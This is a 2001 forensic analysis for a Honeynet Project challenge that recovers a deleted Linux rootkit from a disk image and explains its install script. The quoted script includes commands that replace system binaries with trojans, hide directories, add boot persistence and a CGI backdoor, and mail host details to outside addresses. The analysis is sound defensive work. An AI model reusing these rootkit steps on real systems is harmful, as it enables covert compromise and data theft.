Analysis of HoneyNet's scan of the month 15

Guillaume Filion

May 18, 2001

1 Preparation

Before analysing the scan, I first download the package and check its integrity.

```
[gfk@cesam scan15]$ wget -q http://project.honeynet.org/scans/scan15/honeynet.tar.gz
[gfk@cesam scan15]$ md5sum honeynet.tar.gz
0dff8fb9fe022ea80d8f1a4e4ae33e21  honeynet.tar.gz
[gfk@cesam scan15]$ tar zxvf honeynet.tar.gz
honeynet/
honeynet/honeypot.hda8.dd
File size limit exceeded
[gfk@cesam scan15]$ cd honeynet
[gfk@cesam honeynet]$ ls -l
total 40044
-rw-r-----   1 gfk      gfk      40960000 Apr 30 18:05 honeypot.hda8.dd
[gfk@cesam honeynet]$
```

Oups! Problemo! Since this is an educationnal text, those interested in knowing how I solved the problem can read this small explanation.

As you can see, the problem is that the file honeypot.hda8.dd is larger than the maximum file size for this file system. We see that the maximum file size for my system is actually 40960000 bytes (39 MB). After searching on google for a couple of minutes I found this:

```
From: Forrest (forrest@home.com)
Subject: Re: "File size limit exceeded"---whats up with that?
Newsgroups: comp.os.linux.security
Date: 2001-04-25 19:17:22 PST


Look in /proc/sys/fs/
file-max shows how many files you can have open
super-max shows how many files the super user can have open
inode-max is the max number of open inodes
```

```
You should probably quadruple all of these.  You will have to set up
rc.local to pass these numbers at boot time.  If you need help with this,
let me know.

Forrest
```

Following what was said there, here what I did to solve the problem:

```
[root@cesam root]# cd /proc/sys/fs/
[root@cesam fs]# cat inode-max
4096
[root@cesam fs]# echo 16384 > inode-max
[root@cesam fs]# cat inode-max
16384
```

I also found some interestings reads about this feature at theses locations:
http://lists.plug.phoenix.az.us/pipermail/plug-discuss/2000-September/005508.html
http://www.linux-mandrake.com/en/doc/72/en/ref.html/x3916.html

Now that the problem is fixed, let's return to our regular programming...

```
[root@cesam scan15]# tar zxvf honeynet.tar.gz
honeynet/
honeynet/honeypot.hda8.dd
honeynet/README
[root@cesam scan15]# md5sum honeynet/honeypot.hda8.dd
5a8ebf5725b15e563c825be85f2f852e  honeynet/honeypot.hda8.dd
```

We now know that our kit is not corrupted, we can start analysing!

2 The Challenge

2.1 List deleted files

Since the goal of this challenge is to recover a deleted rootkit in the / partition, we start by doing this.

The first thing we do is to run `ils` on the partition image in order to list all the deleted files in this partition:

```
ils -r honeynet/honeypot.hda8.dd
```

We present the output in the next table. Note that the field st_alloc has been removed from the table; all its entries were f. The field st_nlink has also been removed from the table; all its entries were 0.

st_ino	st_uid	st_gid	st_mtime	st_atime	st_ctime	st_dtime	st_mode	st_size	st_block0	st_block1
23	0	0	984706608	984707090	984707105	984707105	100644	520333	307	308
2038	1031	100	984707105	984707105	984707105	984707169	40755	0	8481	0
2039	0	0	1013173693	984707090	984707105	984707105	100755	611931	8482	8483
2040	0	0	983201398	984707090	984707105	984707105	100644	1	9084	0
2041	0	0	983588917	984707105	984707105	984707105	100700	3713	9085	9086
2042	0	0	984707105	984707105	984707105	984707105	100644	796	9124	0
2043	0	0	936892631	984707090	984707105	984707105	100755	1345	9096	9097
2044	0	0	980608292	984707103	984707105	984707105	100644	3278	9098	9099
2045	0	0	983201320	984707103	984707105	984707105	100755	79	9102	0
2046	0	0	980608304	984707103	984707105	984707105	100644	11407	9103	9104
2047	0	0	983200975	984707102	984707103	984707103	100755	4060	9115	9116
2048	0	0	972242984	984707090	984707105	984707105	100644	880	9119	0
2049	0	0	972242984	984707103	984707103	984707103	100600	540	9120	0
2050	0	0	972242984	984707090	984707105	984707105	100644	344	9121	0
2051	0	0	972242984	984707103	984707103	984707103	100600	512	9122	0
2052	0	0	983201391	984707090	984707105	984707105	100644	688	9123	0
2053	0	0	983200979	984707102	984707103	984707103	100700	8268	9124	9125
2054	0	0	983200990	984707105	984707105	984707105	100755	4620	9133	9134
2058	0	0	983201035	984707102	984707102	984707102	100755	53588	9229	9230
2059	0	0	983201043	984707102	984707103	984707103	100700	75	9283	0
2060	0	0	983588712	984707103	984707103	984707103	100644	708	9284	0
2061	0	0	983198764	984707103	984707103	984707103	100755	632066	9285	9286
8097	0	0	984736992	984736921	984736992	984736992	40700	0	33062	0
8100	0	0	984736992	984736992	984736992	984736992	100644	16329	33063	33064
12107	0	0	984655177	984655177	984655225	984655225	120777	16	1764699694	779381102
16110	0	0	949962039	984655225	984655225	984655225	100644	239	65860	0
20883	0	0	984655177	984655177	984655225	984655225	120777	16	1764699694	779381102
22103	0	0	984754122	984754122	984754122	984754122	100600	0	0	0
22104	0	0	984754122	984754122	984754122	984754122	100600	0	0	0
22105	0	0	984754122	984754122	984754122	984754122	100644	0	0	0
22106	0	0	984754076	984754076	984754076	984754076	100600	0	0	0
22107	0	0	984754076	984754076	984754076	984754076	100600	0	0	0
22108	0	0	984754076	984754076	984754076	984754076	100644	0	0	0
28172	0	0	984655177	984655177	984655225	984655225	120777	16	1764699694	779381102
30188	0	0	952425102	984677103	984707102	984707102	100755	66736	126628	126629
30191	0	0	952452206	984677352	984707102	984707102	100555	60080	126695	126696
48284	0	0	952425102	984677122	984707102	984707102	100755	42736	199330	199331
56231	0	0	984655056	984655056	984655056	984655056	100644	33135	229685	229686

This table is a bit hard to read, but will still be helpfull later to know which files were the files used by the blackhat.

2.2 Putting names on inodes

In the last section, we listed every file that had been deleted and that is still present on the partition, but they are presented by inode number instead of the friendly filenames. To discover which filename goes with which inode number, we must read the content of the *root directory inode table*. To know what inode number has the root directory inode table, we mount the partition and check with `ls -il`.

```
[gfk@cesam honeynet]$ su
Password:
[root@cesam honeynet]# mount -o ro,loop,nodev,noexec honeypot.hda8.dd mnt
[root@cesam honeynet]# exit
[gfk@cesam honeynet]$ ls -il
total 265313
  49249 -rw-r-----   1 gfk      gfk           471 Apr 26 17:45 README
  49248 -rw-r-----   1 gfk      gfk     271401984 Mar 16 12:43 honeypot.hda8.dd
      2 drwxr-xr-x  18 root     root         1024 Mar 15 20:45 mnt
```

We can see that folder `mnt` has inode number 2 and has been last modified on March 15th at 20:45 (8:45 PM). All we have to do is to list the content of inode 2 to have every infos about the content of the root directory. Since we know that the rootkit we are looking for is on the root directory, we can hope that we will discover its name and inode number by looking into the root directory inode table.

However, the data contained in the inode table is contained in raw binary, which makes it harder to read. The easiest way to read the content of the inode is to pass it into `od`. Here we make two tries, one with the `-c` flag, to print the output in characters (ASCII), and the other with the `-h` flag, to print the output in hexadecimal.

```
[gfk@cesam scan15]$ tct-1.06/bin/icat honeynet/honeypot.hda8.dd 2|od -c
0000000 002  \0  \0  \0  \f  \0 001 002   .  \0  \0  \0 002  \0  \0  \0
0000020  \f  \0 002 002   .   .  \0  \0  \v  \0  \0  \0 024  \0  \n 002
0000040   l   o   s   t   +   f   o   u   n   d  \0  \0    017  \0  \0
0000060  \f  \0 004 002   b   o   o   t   a 037  \0  \0  \f  \0 004 002
0000100   h   o   m   e 021   /  \0  \0  \f  \0 003 002   u   s   r  \0
0000120      >  \0  \0  \f  \0 003 002   v   a   r  \0   q   N  \0  \0
0000140  \f  \0 004 002   p   r   o   c   I   V  \0  \0  \f  \0 003 002
0000160   t   m   p  \0   !   ˆ  \0  \0  \f  \0 003 002   d   e   v  \0
0000200      e  \0  \0  \f  \0 003 002   e   t   c  \0      u  \0  \0
0000220  \f  \0 003 002   b   i   n  \0   Y 205  \0  \0  \f  \0 003 002
0000240   l   i   b  \0  \t 225  \0  \0  \f  \0 003 002   m   n   t  \0
0000260 221     \0  \0  \f  \0 003 002   o   p   t  \0   i     \0  \0
0000300  \f  \0 004 002   r   o   o   t   A     \0  \0  \f  \0 004 002
0000320   s   b   i   n   b     \0  \0   , 003 006 002   f   l   o   p
0000340   p   y  \0  \0 027  \0  \0  \0 034 003 006 001   l   k   .   t
0000360   g   z  \0  \0     \a  \0  \0  \f 003 004 002   l   a   s   t
0000400  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
*
```

```
0002000
[gfk@cesam scan15]$ tct-1.06/bin/icat honeynet/honeypot.hda8.dd 2|od -x
0000000 0002 0000 000c 0201 002e 0000 0002 0000
0000020 000c 0202 2e2e 0000 000b 0000 0014 020a
0000040 6f6c 7473 662b 756f 646e 0000 0fb1 0000
0000060 000c 0204 6f62 746f 1f61 0000 000c 0204
0000100 6f68 656d 2f11 0000 000c 0203 7375 0072
0000120 3ec1 0000 000c 0203 6176 0072 4e71 0000
0000140 000c 0204 7270 636f 5649 0000 000c 0203
0000160 6d74 0070 5e21 0000 000c 0203 6564 0076
0000200 65f9 0000 000c 0203 7465 0063 75a9 0000
0000220 000c 0203 6962 006e 8559 0000 000c 0203
0000240 696c 0062 9509 0000 000c 0203 6e6d 0074
0000260 ac91 0000 000c 0203 706f 0074 b469 0000
0000300 000c 0204 6f72 746f bc41 0000 000c 0204
0000320 6273 6e69 eb62 0000 032c 0206 6c66 706f
0000340 7970 0000 0017 0000 031c 0106 6b6c 742e
0000360 7a67 0000 07f6 0000 030c 0204 616c 7473
0000400 0000 0000 0000 0000 0000 0000 0000 0000
*
0002000
```

Okay, this is still pretty hard to read, but we can start to see some filenames in the ascii output. To decorticate the content of this inode, we must first understand what it is (duh), to do so, we could buy an expensive book about the Second Extended File System (ext2fs), but since we are poor (well at least I am) and that the Net is so nice and that we don't want to kill a tree, we search an online ext2 documentation[1] and found what we are looking for.

> Directories are special files that are used to create access path to the files on disk. It is very important to understand that an inode may have many access paths. Since the directories are essential part of the file system, they have a specific structure. A directory file is a list of entries of the following format:

```
struct ext2_dir_entry {
  unsigned long  inode;
  unsigned short rec_len;
  unsigned short name_len;
  char           name[EXT2_NAME_LEN];
};
```

inode	points to the inode of the file.
rec_len	length of the entry record.
name_len	length of the file name.
name	name of the file.

---

[1] http://step.polymtl.ca/ ldd/ext2fs/ext2fs_8.html

> There is such an entry in the directory file for each file in the directory. Since ext2fs is a Unix file system the first two entries in the directory are file ‘.’ and ‘..’ which points to the current directory and the parent directory respectively.

Knowing this, we can try to reformat the dump so that it is more readable.

```
002  \0  \0  \0  \f  \0 001 002   .  \0  \0  \0
0002 0000 000c 0201 002e 0000 (inode=2)

0002  \0  \0  \0  \f  \0 002 002   .   .  \0  \0
0002 0000 000c 0202 2e2e 0000 (inode=2)

\v  \0  \0  \0 024  \0  \n 002   l   o   s   t   +   f   o   u   n   d  \0  \0
000b 0000 0014 020a 6f6c 7473 662b 756f 646e 0000 (inode=11)

 017  \0  \0  \f  \0 004 002   b   o   o   t
0fb1 0000 000c 0204 6f62 746f (inode=4017)

a 037  \0  \0  \f  \0 004 002   h   o   m   e
1f61 0000 000c 0204 6f68 656d (inode=8033)

021   /  \0  \0  \f  \0 003 002   u   s   r  \0
2f11 0000 000c 0203 7375 0072 (inode=12049)

   >  \0  \0  \f  \0 003 002   v   a   r  \0
3ec1 0000 000c 0203 6176 0072 (inode=16065)

q   N  \0  \0  \f  \0 004 002   p   r   o   c
4e71 0000 000c 0204 7270 636f (inode=20081)

I   V  \0  \0  \f  \0 003 002   t   m   p  \0
5649 0000 000c 0203 6d74 0070 (inode=22089)

!   ^  \0  \0  \f  \0 003 002   d   e   v  \0
5e21 0000 000c 0203 6564 0076 (inode=24097)

   e  \0  \0  \f  \0 003 002   e   t   c  \0
65f9 0000 000c 0203 7465 0063 (inode=26105)

   u  \0  \0  \f  \0 003 002   b   i   n  \0
75a9 0000 000c 0203 6962 006e (inode=30121)

Y 205  \0  \0  \f  \0 003 002   l   i   b  \0
8559 0000 000c 0203 696c 0062 (inode=34137)

\t 225  \0  \0  \f  \0 003 002   m   n   t  \0
```

```
9509 0000 000c 0203 6e6d 0074 (inode=38153)

221     \0  \0  \f  \0 003 002   o   p   t  \0
ac91 0000 000c 0203 706f 0074 (inode=44177)

i     \0  \0  \f  \0 004 002   r   o   o   t
b469 0000 000c 0204 6f72 746f (inode=46185)

A     \0  \0  \f  \0 004 002   s   b   i   n
bc41 0000 000c 0204 6273 6e69 (inode=48193)

b     \0  \0   , 003 006 002   f   l   o   p   p   y  \0  \0
eb62 0000 032c 0206 6c66 706f 7970 0000 (inode=60258)

027  \0  \0  \0 034 003 006 001   l   k   .   t   g   z  \0  \0
0017 0000 031c 0106 6b6c 742e 7a67 0000 (inode=23)

  \a  \0  \0  \f 003 004 002   l   a   s   t  \0  \0
07f6 0000 030c 0204 616c 7473 0000 (inode=2038)

\0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000 0000 0000 0000 0000 0000 0000
```

If we compare this to the files that are still present:

```
[gfk@cesam mnt]$ ls -i
  30121 bin     60258 floppy        38153 mnt     48193 sbin
   4017 boot     8033 home          44177 opt     22089 tmp
  24097 dev     34137 lib           20081 proc    12049 usr
  26105 etc        11 lost+found    46185 root    16065 var
```

We can see that the files `lk.tgz` and `last` were deleted. By looking at the inode table (directory), we see that the inode for the file `lk.tgz` is 0x0017, that is 23 in decimal, and that folder `last` had the inode 0x07f6, that is 2038 in decimal.

2.3 Let’s try to bring them back to life!

To do this, I use a custom made perl script inspired by a shell script made by Thomas Roessler in its analysis for the Forensic Challenge[2].

Here’s a copy of the script readinodes.pl:

```
#!/usr/bin/perl
use strict;
my $ILS="˜/scan15/tct-1.06/bin/ils";
my $ICAT="˜/scan15/tct-1.06/bin/icat";
my $IMAGE="˜/scan15/honeynet/honeypot.hda8.dd";
```

---

[2] http://project.honeynet.org/challenge/results/submissions/roessler/evidence.txt

```
my $RECOVERY="recovery";

my $output = ‘$ILS -r $IMAGE‘;
my @deletedFiles = split(/\n/, $output);
my $n=@deletedFiles;

print "Found ",$n-3," files to recover.\n";

for (my $i=3; $i<$n; $i++) {
# Recover files
my @infos = split(/\|/, $deletedFiles[$i]);
print "Recovering inode $infos[0]...";
print "(",$i-2,"/",$n-3,")\n";
system("$ICAT $IMAGE $infos[0] > $RECOVERY/$infos[0]");

my $filedata="$RECOVERY/$infos[0].infos";
print "Writing infos to $filedata\n";
open (DATAFILE,"> $filedata")  || die "Can’t write to file $filedata";
print DATAFILE "Inode $infos[0] recovered from $IMAGE\n\nRaw ILS data:\n";
print DATAFILE "st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|";
print DATAFILE "st_mode|st_nlink|st_size|st_block0|st_block1\n";
print DATAFILE $deletedFiles[$i],"\n\nSome formatted infos:\n";

my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($infos[4]);
$year+=1900;
print DATAFILE sprintf("Last Modification time: %i/%i/%i %2i:%2i:%2i\n",
$mday,$mon+1,$year,$hour,$min,$sec);
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($infos[5]);
$year+=1900;
print DATAFILE sprintf("Last Access time: %i/%i/%i %2i:%2i:%2i\n",$mday,
$mon+1,$year,$hour,$min,$sec);
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($infos[6]);
$year+=1900;
print DATAFILE sprintf("Last inode status change time: %i/%i/%i %2i:%2i:%2i\n",
$mday,$mon+1,$year,$hour,$min,$sec);
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($infos[7]);
$year+=1900;
print DATAFILE sprintf("Deletion time (Linux only): %i/%i/%i %2i:%2i:%2i\n",
$mday,$mon+1,$year,$hour,$min,$sec);

print DATAFILE sprintf("File type: %s\n", substr($infos[8],0,2));
print DATAFILE sprintf("File permissions: %s\n", substr($infos[8],2,4));
print DATAFILE sprintf("File size: %i bytes; %.1f KB; %.2f MB\n", $infos[10],
$infos[10]/1024, $infos[10]/1048576);

print DATAFILE "\nNote that the date are written the right way (at least here, ",
"in Canada), that’s:\nday/month/year hour:min:sec\n";
close (DATAFILE);
}
exit(0);
```

This script uses icat and ils from The Coroner’s Toolkit (TCT)[3] by Dan Farmer and Wietse Venema. The script dumps the recovered inodes in the folder `recovery` along with some informations about them.

All we have to do now is to open the files representing the inodes we are interested in, in this case, inode 23 and 2038.

```
[gfk@cesam scan15]$ cat recovery/23.infos
Inode 23 recovered from ~/scan15/honeynet/honeypot.hda8.dd

Raw ILS data:
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|
st_nlink|st_size|st_block0|st_block1
23|f|0|0|984706608|984707090|984707105|984707105|100644|0|520333|307|308

Some formatted infos:
Last Modification time: 15/3/2001 20:36:48
Last Access time: 15/3/2001 20:44:50
Last inode status change time: 15/3/2001 20:45:5
Deletion time (Linux only): 15/3/2001 20:45:5
File type: 10
File permissions: 0644
File size: 520333 bytes; 508.1 KB; 0.50 MB

Note that the date are written the right way (at least here, in Canada), that’s:
day/month/year hour:min:sec
[gfk@cesam scan15]$ cp recovery/23 rootkit/lk.tar
[gfk@cesam scan15]$ cd rootkit
[gfk@cesam rootkit]$ gunzip lk.tgz
[gfk@cesam rootkit]$ tar xvf lk.tar
last/
last/ssh
last/pidfile
last/install
last/linsniffer
last/cleaner
last/inetd.conf
last/lsattr
last/services
last/sense
last/ssh_config
```

---

[3] http://www.porcupine.org/forensics/tct.html

```
last/ssh_host_key
last/ssh_host_key.pub
last/ssh_random_seed
last/sshd_config
last/sl2
last/last.cgi
last/ps
last/netstat
last/ifconfig
last/top
last/logclear
last/s
last/mkxfs
```

It is not possible to read the content of deleted folder `last` because it's inode number (2038) is empty. Most likely this is because there has been some disk activity between the erasure of the folder and the image of the partition has been taken:

```
[gfk@cesam scan15]$ cat recovery/2038.infos
Inode 2038 recovered from ~/scan15/honeynet/honeypot.hda8.dd

Raw ILS data:
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|
st_nlink|st_size|st_block0|st_block1
2038|f|1031|100|984707105|984707105|984707105|984707169|40755|0|0|8481|0

Some formatted infos:
Last Modification time: 15/3/2001 20:45:5
Last Access time: 15/3/2001 20:45:5
Last inode status change time: 15/3/2001 20:45:5
Deletion time (Linux only): 15/3/2001 20:46:9
File type: 40
File permissions: 755
File size: 0 bytes; 0.0 KB; 0.00 MB

Note that the date are written the right way (at least here, in Canada), that's:
day/month/year hour:min:sec
[gfk@cesam scan15]$ cat recovery/2038 | od
0000000
```

But we can still get its original content by untarring the compressed file `lk.tgz` as we did in the precedent step.

3 Short analysis of the deleted files

3.1 The install script

After a short examination of the recovered folder, I found that the file `install` (inode 2041) is very interesting.

`install` is a shell script that is executed after the system is compromised. It does, in order:

1. Announce itself and checks if make, gcc and ssh are present in their default location.

   ```
   #!/bin/sh
   clear
   unset HISTFILE
   echo    "********* Instalarea Rootkitului A Pornit La Drum *********"
   echo    "********* Mircea SUGI PULA ********************************"
   echo    "********* Multumiri La Toti Care M-Au Ajutat **************"
   echo    "********* Lemme Give You A Tip : **************************"
   echo    "********* Ignore everything, call your freedom ************"
   echo    "********* Scream & swear as much as you can ***************"
   echo    "********* Cuz anyway nobody will hear you and no one will *"
   echo    "********* Care about you **********************************"
   echo
   echo
   chown root.root *
   if [ -f /usr/bin/make ]; then
       echo "Are Make !"
   else
       echo "Nu Are Make !"
   fi
   if [ -f /usr/bin/gcc ]; then
       echo "Are Gcc !"
   else
       echo "Nu Are Gcc !"
   fi
   if [ -f /usr/sbin/sshd/ ]; then
       echo "Are Ssh !"
   else
       echo "Nu Are Ssh !"
   fi
   ```

   Strangely, the scripts does not need make, gcc or sshd. It makes the tests just to inform the luser that they are present.

2. Installs trojaned versions of `ifconfig`, `netstat`, `ps` and `top`. Also installs a program called `mkxfs`.

```
echo -n "* Inlocuim nestat ... alea alea "
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
echo "* Gata..."
echo -n "* Dev... "
echo
echo
```

3. Creates files /dev/rpm and /dev/last

```
touch /dev/rpm >/dev/rpm
echo "3 sl2" >>/dev/rpm
echo "3 sshdu" >>/dev/rpm
echo "3 linsniffer" >>/dev/rpm
echo "3 smurf" >>/dev/rpm
echo "3 slice" >>/dev/rpm
echo "3 mech" >>/dev/rpm
echo "3 muh" >>/dev/rpm
echo "3 bnc" >>/dev/rpm
echo "3 psybnc" >> /dev/rpm
touch /dev/last >/dev/last
echo "1 193.231.139" >>/dev/last
echo "1 213.154.137" >>/dev/last
echo "1 193.254.34" >>/dev/last
echo "3 48744" >>/dev/last
echo "3 3666" >>/dev/last
echo "3 31221" >>/dev/last
echo "3 22546" >>/dev/last
echo "4 48744" >>/dev/last
echo "4 2222" >>/dev/last
echo "* Gata"
```

   The file `/dev/rpm` looks like linux rootkit's (lrk) `ps` and `top` configuration files. The file `/dev/last` looks like lrk's `netstat` configuration file. This makes me think that the trojaned versions of `ifconfig`, `netstat`, `ps` and `top` are the same as the one present in linux rootkit.

4. Creates folders `/dev/ida/.drag-on` and `/dev/ida/".. "` and installs, among other things, a sshd daemon and a portsniffer.

```
echo "* Facem Director...Si Mutam Alea.. "
mkdir -p /dev/ida/.drag-on
mkdir -p /dev/ida/".. "
echo "* Copiem ssh si alea"
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed \
/dev/ida/.drag-on/
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed \
/dev/ida/".. "
rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
touch /dev/ida/.drag-on/tcp.log
touch /dev/ida/".. "/tcp.log
```

Here's a description of the files installed:

linsniffer	portsniffer
logclear	script to delete sniffer's log and restart linsniffer
sense	Sorts the output from LinSniffer
sl2	DoS tool based on synk4 (my guess)
mkxfs	sshd daemon with a backdoor
s	sshd daemon configuration file
ssh_host_key	sshd daemon host key
ssh_random_seed	sshd daemon random seed

5. Replaces `/etc/inetd.conf` and `/etc/services` by its own versions.

```
cp -f inetd.conf /etc
cp -f services /etc
killall -HUP inetd
echo
echo
```

The new `inetd.conf` and `services` has been recovered as inode 2044 and 2046, respectivly, in the folder interestInodes.

6. Modifies `/etc/rc.d/rc.sysinit` to run `/usr/bin/lsattr` on every boot.

```
echo
echo "* Adaugam In Startup:) ..."
rm -rf /usr/bin/lsattr
echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit
echo >> /etc/rc.d/rc.sysinit
```

7. Installs a shell script at `/usr/bin/lsattr`

```
cp -f lsattr /usr/bin/
chmod 500 /usr/bin/lsattr
chattr +i /usr/bin/lsattr
```

```
/usr/bin/lsattr

sleep 1
```

The file `lsattr` has been recovered from inode 2045 in the folder interestInodes:

```
#!/bin/sh
cd /dev/ida/.drag-on
./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /
```

8. Tries to install a CGI backdoor `last.cgi`.

```
if [ -d /home/httpd/cgi-bin ]
then
mv -f last.cgi /home/httpd/cgi-bin/
fi

if [ -d /usr/local/httpd/cgi-bin ]
then
mv -f last.cgi /usr/local/httpd/cgi-bin/
fi

if [ -d /usr/local/apache/cgi-bin ]
then
mv -f last.cgi /usr/local/apache/cgi-bin/
fi

if [ -d /www/httpd/cgi-bin ]
then
mv -f last.cgi /www/httpd/cgi-bin/
fi

if [ -d /www/cgi-bin ]
then
mv -f last.cgi /www/cgi-bin/
fi
```

The file `last.cgi` has been recovered from inode 2054 in the folder interestInodes.

9. Sends an email to `last@linuxmail.org` and `bidi_damm@yahoo.com` containing infos about the compromised host.

```
echo "* Luam Informatiile dorite ..."
echo "* Info : $(uname -a)" >> computer
echo "* Hostname : $(hostname -f)" >> computer
echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer
echo "* Uptime : $(uptime)" >> computer
echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer
echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer
echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer
echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer
echo "* Spatiu Liber: $(df -h)" >> computer
echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" last@linuxmail.org
cat computer | mail -s "roote" bidi_damm@yahoo.com
```

10. Cleans up after itself.

```
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."
echo
echo
echo "* G A T A *"
echo
echo "* That Was Nice Last "
cd /
rm -rf last lk.tgz computer lk.tar.gz
```

I went to romanian irc channels to get the Romanians sentences translated into english, but all I could get is a lot of DCC offers for IRC worms/virus. Well, it's a good way to know if your anti-virus is working... hi.

3.2 Looks like...

The modus operandi is very similar to the one of the attack presented in scan 13 where a Romanian blackhat known as Becys uses a rootkit (lamerk) to compromise a host. The following actions were executed by the lamerk rootkit:

1. Installs trojaned versions of netstat, ps, ifconfig and top taken from lrk (linux rootkit).
2. Creates files `/dev/caca` (lrk's netstat config. file) and `/dev/dsx` (lrk's ps and top config file)
3. Creates folder `/dev/ida/.inet` and installs, among other things, a sshd daemon (`sshdu`) and a portsniffer (`linsniffer`) in the folder.
4. Creates a shell script in `/usr/bin/hdparm`.
5. Modifies `/etc/rc.d/rc.sysinit` to run hdparm (that is the sshd backdoor and the sniffer) on every boot.

6. Tries to install a CGI backdoor `becys.cgi`.
7. Sends an email to `becys@becys.org` containing infos about the compromised host.

4 Bonus Question

We can verify that the rootkit worked by looking at the files created by the rootkit:

```
[gfk@cesam honeynet]$ su
Password:
[root@cesam honeynet]# mount -o ro,loop,nodev,noexec honeypot.hda8.dd mnt
[root@cesam honeynet]# exit
[gfk@cesam honeynet]$ cd mnt
[gfk@cesam mnt]$ cat dev/rpm
3 sl2
3 sshdu
3 linsniffer
3 smurf
3 slice
3 mech
3 muh
3 bnc
3 psybnc
[gfk@cesam mnt]$ cat dev/last
1 193.231.139
1 213.154.137
1 193.254.34
3 48744
3 3666
3 31221
3 22546
4 48744
4 2222
[gfk@cesam mnt]$ cd dev/ida/.drag-on/
[gfk@cesam .drag-on]$ ls -l
total 647
-rwx------   1 root     root         7165 Mar 15 20:45 linsniffer
-rwx------   1 root     root           75 Mar 15 20:45 logclear
-rwxr-xr-x   1 root     root       632066 Mar 15 20:45 mkxfs
-rw-r--r--   1 root     root          708 Mar 15 20:45 s
-rwxr-xr-x   1 root     root         4060 Mar 15 20:45 sense
-rwx------   1 root     root         8268 Mar 15 20:45 sl2
-rw-------   1 root     root          540 Mar 15 20:45 ssh_host_key
-rw-------   1 root     root          512 Mar 16 09:45 ssh_random_seed
-rw-r--r--   1 root     root          138 Mar 16 11:28 tcp.log
```

```
[gfk@cesam .drag-on]$ cd "../.. "
[gfk@cesam .. ]$ ls -l
total 646
-rwx------   1 root     root         7165 Mar 15 20:45 linsniffer
-rwx------   1 root     root           75 Mar 15 20:45 logclear
-rwxr-xr-x   1 root     root       632066 Mar 15 20:45 mkxfs
-rw-r--r--   1 root     root          708 Mar 15 20:45 s
-rwxr-xr-x   1 root     root         4060 Mar 15 20:45 sense
-rwx------   1 root     root         8268 Mar 15 20:45 sl2
-rw-------   1 root     root          540 Mar 15 20:45 ssh_host_key
-rw-------   1 root     root          512 Mar 15 20:45 ssh_random_seed
-rw-r--r--   1 root     root            0 Mar 15 20:45 tcp.log
```